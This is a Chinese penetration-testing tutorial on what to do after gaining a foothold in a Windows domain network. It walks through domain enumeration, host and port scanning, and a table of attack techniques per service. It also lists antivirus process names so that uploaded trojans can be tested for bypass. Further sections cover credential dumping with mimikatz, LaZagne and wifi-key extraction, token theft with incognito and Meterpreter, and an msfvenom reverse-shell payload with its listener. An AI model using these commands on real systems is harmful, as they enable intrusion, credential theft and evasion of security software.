DAY38:内网信息搜集
1、域名系统概述
1.1、域名系统简介
域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。
1.2、域的分类
(1)单域:只有一个域
(2)域树:域下面有多个域
(3)域森林:多个域树组成的域
1.3、域术语
DC:域控,域的创建者
AD:Active Directory, 提供了一个分布式数据库,该数据库可以存储和管理有关网络资源的信息,也就是前面所说的活跃用户。
2、 内网渗透
2.1、域信息收集命令
query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表
第二个查的更多
net view /domain 查看有几个域
当我们通过外网打点进入内网环境的时候,我们就要开始进行内网渗透了,而当我们进入内网的时候,就像去了一个陌生的地方,我们就要不停的探索前方的路。
那么拿到这些命令收集的东西又有什么用呢?
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domainnet config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -anonltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a
2.2、内网信息收集总结
当我们通过外网打点进入内网环境的时候,我们就要开始进行内网渗透了,而当我们进入内网的时 候,就像去了一个陌生的地方,我们就要不停的探索前方的路
基础信息(存活主机、ip在哪个网段,whoami /all,判断网络拓扑,分析域控)
角色判断(web服务器、文件服务器、代理服务器、数据库服务器、DNS服务器、内网PC机成员,对服务器的角色进行判断)
区域判断(一般存在三种区域:外网区域、DMZ区域、内网区域)
机器角色、拓扑结构、机器所安装软件、操作系统、安装补丁等等信息
找相应的配置信息,或明文存储的密码,找相应OA,浏览器,后台的token、cookie免密登录,目标的资产信息等
PS:这些就是windows服务器版本对应的平时的操作系统版本
win2000-win98
win2003-winxp
win2008-win7
win2012-win8
win2016-win10
win2019-win11
攻击机器一个 win10-win2018 net.exe 那么我们是不是就可以把本机 net.exe 上传到 server上然后就可以执行net命令
win10-server 2008 我们本地 net.exe 就不可在2008上运行
2.3、一般网络互通情况
内网可以访问外网:内网的用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT
内网可以访问DMZ:此策略使内网用户可以使用或者管理 DMZ 中的服务器。
外网不能访问内网:这是防火墙的基本策略,内网中存放的是公司内部数据,这些数据是不允许外网的用户进行访问的。如要访问,就要通过VPN方式来进行
外网可以访问DMZ:DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,外网访问DMZ需要由防火墙完成对外地址到服务器实际地址的转换
DMZ不能访问内网:如不执行此策略,则当入侵者攻陷DMZ时,内部网络将不会受保护。
DMZ不能访问外网:此条策略也有例外,比如我们的例子中,在DMZ中放置邮件服务器时,就需要访问外网,否则将不能正常工作。
判断是否存在域环境
ipconfig /all #判断当前是否存在域
Net view /domain #判断是否存在域环境
在主 DNS 后缀和 DNS 后缀搜索列表后有相应的域名,反之则无
查看主域机器名称
nslookup 主域名 #用nslookup去反向解析主域的ip地址
同样可以使用ping 命令获得域主机得到ip地址
ping + 主域名
查询域管理员信息
Net group "Domain Admins" /domain #查询域管理员账户(需要相应权限)
Net group "Enterprise Admins" /domain #查询域管理员用户组(需要相应权限)
Net group "Domain Controllers" /domain #查询域控制器(需要相应权限)
判断出存在域环境,在主域和一些域管理员的信息后,需要进行下一步的收集
查询网络配置信息
ipconfig /all 前面讲过了,也是判断是否存在于环境的一种方法
查询系统详细信息
systeminfo 系统的详细信息(在进行提权时可以通过此命令查找漏洞)
操作系统和版本信息
是否存在域和当前登录计算机名
系统所安装的补丁
网卡信息
检测系统补丁脚本: https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
查看补丁: https://github.com/chroblert/WindowsVulnScanwindows
内核提权exp: https://github.com/SecWiki/windows-kernel-exploits
在线提权利用查询: https://lolbas-project.github.io/
收集用户和组信息
net user //本地用户
net localgroup //本地用户组
net user /domain //获取域用户信息
wmic useraccount get /all //获取域用户详细信息
系统常见用的用户身份
Domain Admins: 域管理员(默认对域控制器有完全控制权)
Domain Computers: 域内机器
Domain Controllers: 域控制器1
Domain Guest: 域访客,权限低
Domain Users: 域用户
Enterprise Admins: 企业系统管理员用户(默认对域控制器有完全控制权)
获取当前用户权限和SID
whoamoi /all //存储了相应用户的身分令牌
探测内网存活的主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 xxx.xxx.xx.%I | findstr "TTL=
也可使用 nmap、scanport 等第三方工具进行探测
nmap -Pn ip_address
探测内网开放端口
nmap -p 1-65535 ip_address
或者使用 scanport
常见的端口信息
| 端口号 | 端口说明 | 攻击技巧 |
|--------|--------|--------|
|21/22/69|ftp/tftp:文件传输协议 |爆破\嗅探\溢出\后门|
|22|ssh:远程连接 |爆破OpenSSH;28个退格|
|23|telnet:远程连接 |爆破\嗅探|
|25|smtp:邮件服务 |邮件伪造|
|53|DNS:域名系统 |DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙|
|67/68|dhcp |劫持\欺骗|
|110|pop3 |爆破|
|139|samba |爆破\未授权访问\远程代码执行|
|143|imap |爆破|
|161|snmp |爆破|
|389|ldap |注入攻击\未授权访问|
|445|SMB |远程代码执行|
|512/513/514|linux r|直接使用rlogin|
|873|rsync |未授权访问|
|1080|socket |爆破:进行内网渗透|
|1352|lotus |爆破:弱口令\信息泄漏:源代码|
|1433|mssql |爆破:使用系统用户登录\注入攻击|
|1521|oracle |爆破:TNS\注入攻击|
|2049|nfs |配置不当|
|2181|zookeeper |未授权访问|
|3306|mysql |爆破\拒绝服务\注入|
|3389|rdp |爆破\Shift后门|
|4848|glassfish |爆破:控制台弱口令\认证绕过|
|5000|sybase/DB2 |爆破\注入|
|5432|postgresql |缓冲区溢出\注入攻击\爆破:弱口令|
|5632|pcanywhere |拒绝服务\代码执行|
|5900|vnc |爆破:弱口令\认证绕过|
|6379|redis |未授权访问\爆破:弱口令|
|7001|weblogic |Java反序列化\控制台弱口令\控制台部署webshell|
|80/443/8080|web |常见web攻击\控制台爆破\对应服务器版本漏洞|
|8069|zabbix |远程命令执行|
|9080|websphere |远程命令执行
|9090|websphere控制台 |爆破:控制台弱口令\Java反序列|
|9200/9300|elasticsearch |远程代码执行|
|11211|memcacache |未授权访问|
|27017|mongodb |爆破\未授权访问|
查询主机开机时间
net statistics workstation
查询启动程序信息
wmic startup get command,caption
查询启动服务
net start
查询本机服务细信息
wmic service list brief
查询计划任务
schtasks #权限不够时无法列出
查询端口信息
netstat -ano
查看进程列表
tasklist
这里就需要进行相应的进程判断啦,这里放出一些杀软进程,有其他的可自行百度
可以在本地下载对应杀软,然后检测我们上传木马是否能 bypass
{"360tray.exe", "360安全卫士"}
{"360sd.exe", "360杀毒"}
{"a2guard.exe", "a-squared杀毒"}
{"ad-watch.exe", "Lavasoft杀毒"}
{"cleaner8.exe", "The Cleaner杀毒"}
{"vba32lder.exe", "vb32杀毒"}
{"MongoosaGUI.exe", "Mongoosa杀毒"}
{"CorantiControlCenter32.exe", "Coranti2012杀毒"}
{"F-PROT.EXE", "F-PROT杀毒"}
{"CMCTrayIcon.exe", "CMC杀毒"}
{"K7TSecurity.exe", "K7杀毒"}
{"UnThreat.exe", "UnThreat杀毒"}
{"CKSoftShiedAntivirus4.exe", "Shield Antivirus杀毒"}
{"AVWatchService.exe", "VIRUSfighter杀毒"}
{"ArcaTasksService.exe", "ArcaVir杀毒"}
{"iptray.exe", "Immunet杀毒"}
{"PSafeSysTray.exe", "PSafe杀毒"}
{"nspupsvc.exe", "nProtect杀毒"}
{"SpywareTerminatorShield.exe", "SpywareTerminator杀毒"}
{"BKavService.exe", "Bkav杀毒"}
{"MsMpEng.exe", "Microsoft Security Essentials"}
{"SBAMSvc.exe", "VIPRE"}
{"ccSvcHst.exe", "Norton杀毒"}
{"QQ.exe", "QQ"}
{"f-secure.exe", "冰岛"}
{"avp.exe", "卡巴斯基"}
{"KvMonXP.exe", "江民杀毒"}
{"RavMonD.exe", "瑞星杀毒"}
{"Mcshield.exe", "麦咖啡"}
{"egui.exe", "NOD32"}
{"kxetray.exe", "金山毒霸"}
{"knsdtray.exe", "可牛杀毒"}
{"avcenter.exe", "Avira(小红伞)"}
{"ashDisp.exe", "Avast网络安全"}
{"rtvscan.exe", "诺顿杀毒"}
{"ksafe.exe", "金山卫士"}
{"QQPCRTP.exe", "QQ电脑管家"}
{"Miner.exe", "流量矿石"}
{"AYAgent.aye", "韩国胶囊"}
{"patray.exe", "安博士"}
{"V3Svc.exe", "安博士V3"}
{"avgwdsvc.exe", "AVG杀毒"}
{"ccSetMgr.exe", "赛门铁克"}
{"QUHLPSVC.EXE", "QUICK HEAL杀毒"}
{"mssecess.exe", "微软杀毒"}
{"SavProgress.exe", "Sophos杀毒"}
{"fsavgui.exe", "F-Secure杀毒"}
{"vsserv.exe", "比特梵德"}
{"remupd.exe", "熊猫卫士"}
{"FortiTray.exe", "飞塔"}
{"safedog.exe", "安全狗"}
{"parmor.exe", "木马克星"}
{"beikesan.exe", "贝壳云安全"}
{"KSWebShield.exe", "金山网盾"}
{"TrojanHunter.exe", "木马猎手"}
{"GG.exe", "巨盾网游安全盾"}
{"adam.exe", "绿鹰安全精灵"}
{"AST.exe", "超级巡警"}
{"ananwidget.exe", "墨者安全专家"}
{"AVK.exe", "GData"}
{"ccapp.exe", "Symantec Norton"}
{"avg.exe", "AVG Anti-Virus"}
{"spidernt.exe", "Dr.web"}
{"Mcshield.exe", "Mcafee"}
{"avgaurd.exe", "Avira Antivir"}
{"F-PROT.exe", "F-Prot AntiVirus"}
{"vsmon.exe", "ZoneAlarm"}
{"avp.exee", "Kaspersky"}
{"cpf.exe", "Comodo"}
{"outpost.exe", "Outpost Firewall"},
{"rfwmain.exe", "瑞星防火墙"},
{"kpfwtray.exe", "金山网镖"},
{"FYFireWall.exe", "风云防火墙"},
{"MPMon.exe", "微点主动防御"},
{"pfw.exe", "天网防火墙"},
{"S.exe", "在抓鸡"},
{"1433.exe", "在扫1433"},
{"DUB.exe", "在爆破"},
{"ServUDaemon.exe", "发现S-U"},
{"BaiduSdSvc.exe", "百度杀软"},
安全狗:
SafeDogGuardCenter.exe
safedogupdatecenter.exe
safedogguardcenter.exe
SafeDogSiteIIS.exe
SafeDogTray.exe
SafeDogServerUI.exe
D盾:
D_Safe_Manage.exe
d_manage.exe
云锁:
yunsuo_agent_service.exe
yunsuo_agent_daemon.exe
护卫神:
HwsPanel.exe 护卫神·入侵防护系统(状态托盘)
hws_ui.exe 护卫神·入侵防护系统
hws.exe 护卫神·入侵防护系统 服务处理程序
hwsd.exe 护卫神·入侵防护系统 监控组件
火绒:
hipstray.exe
wsctrl.exe
usysdiag.exe
趋势科技:
TMBMSRV.exe
ntrtscan.exe
PCCNTMON.exe
TMLISTEN.exe
查询共享列表
net share //查询共享资源
2.4、内网密文或明文等口令收集
使用工具 mimikatz
在内网环境中,一般口令都是统一发布的,当我们得知内网中一台机器的口令时,内网其他的口令 很有可能和我们得到的口令类似,或者直接一样,我们可以把这些口令搜集在一起,结合一下,生成 一个密码字典,对内网中其他机器口令进行爆破
mimikatz收集一些明文信息:
开启debug模式:mimikatz # privilege::debug
mimikatz #sekurlsa::logonpasswords 获取口令
win2012之前 密码是在内存中进行加密存储的 在这之后
mimikatz他是同反向逆转的方式将内存中的密码这一块进行破解
python+mimikatz
win2012以后密码存储
isaa一个文件里
PS:
在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。
mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行,所以我们这里用administrator权限启动mimikatz。
获取 wifi 密码
netsh wlan show profiles
netsh wlan show profile name="wifi名称" key=clear
配置文件中的密码信息
cd /web findstr /s /m “password” *.*
常用应用的默认配置路径:
Tomcat: CATALINA_HOME/conf/tomcat-users.xml
Apache: /etc/httpd/conf/httpd.conf
Nginx: /etc/nginx/nginx.conf
Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf
Mysql: mysql\data\mysql\user.MYD
2.5、信息搜集自动化工具
(1)LaZagne
项目地址:https://github.com/AlessandroZ/LaZagne
指令:lazagne.exe all
自动化搜集明文密码,cookie,token
(2)XenArmor
下载地址:https://xenarmor.com/ 支持win7-win10
图形化界面,傻瓜式操作,setting 里面可勾选查找信息,点击 Recover Passwords,即可获取
3、Token(身份令牌)
3.1、令牌概述
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击
3.2、令牌的分类
(1)访问令牌(Access Token):表示访问控制操作主体的系统对象
(2)会话令牌(Session Token):是交互会话中唯一的身份标识符
(3)密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
Windows 的 AccessToken 有两种类型
Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话 (例如使用net use访问共享文件夹)
PS:两种token只在系统重启后清除 具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效
本地安装不了wmtools 的可以在本机启动一个python server
python -m http.server
3.3、Access Token的窃取与利用
AccessToken
的窃取与利用需要administrator
管理员权限或system
权限,要提权
常见的 AccessToken 盗取方法:
- 程序 incognito.exe
- MSF里的incognito模块
- InvokeTokenManipulat.ps1脚本
(1)incognito.exe令牌的盗取:
incognito.exe
这样一个东西,他并非是一个提权工具。
当他目前登录的账号是一个system权限的时候,他列出的可登录的这种身份令牌只有他,以及包括他以下权限的身份令牌。
首先:列出所有可用的身份令牌:incognito.exe list_tokens -u
此时就会列出所有可用的身份令牌
使用:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
incognito.exe list_tokens -u //列出所有可用的身份令牌
incognito.exe execute -c "完整的 Token 名" cmd.exe
ex:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe //盗用身份令牌
incognito.exe execute -c "完整的Token名" cmd.exe
例如:模拟system权限用户(提权至system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe
(2)MSF里的incognito
模块
use incognito #加载incognito
msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=port LHOST=ip_address
监听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcpset lhost ip_address
set lport port
exploit
伪造令牌
getsystem #提升至system权限
rev2self #返回到之前的AccessToken权限
//模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
impersonate_token "NT AUTHORITY\SYSTEM"
impersonate_token WIN2008\\adminstrator #模拟WIN2008\adminstrator的令牌(身份)
impersonate_token WIN2008\\test #模拟WIN2008\test的令牌(身份)
查看进程 PID
list_tokens -u #列出AccessToken
incognitolist_tokens -u #列出token
getuid #查看当前token
AccessTokengetuid #查看当前令牌(token)
steal_token 1252 #从进程窃取token
(3)InvokeTokenManipulat.ps1
脚本
地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
枚举token:
Invoke-TokenManipulation -Enumerate
提权至system:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
复制(窃取)进程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制(窃取)线程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。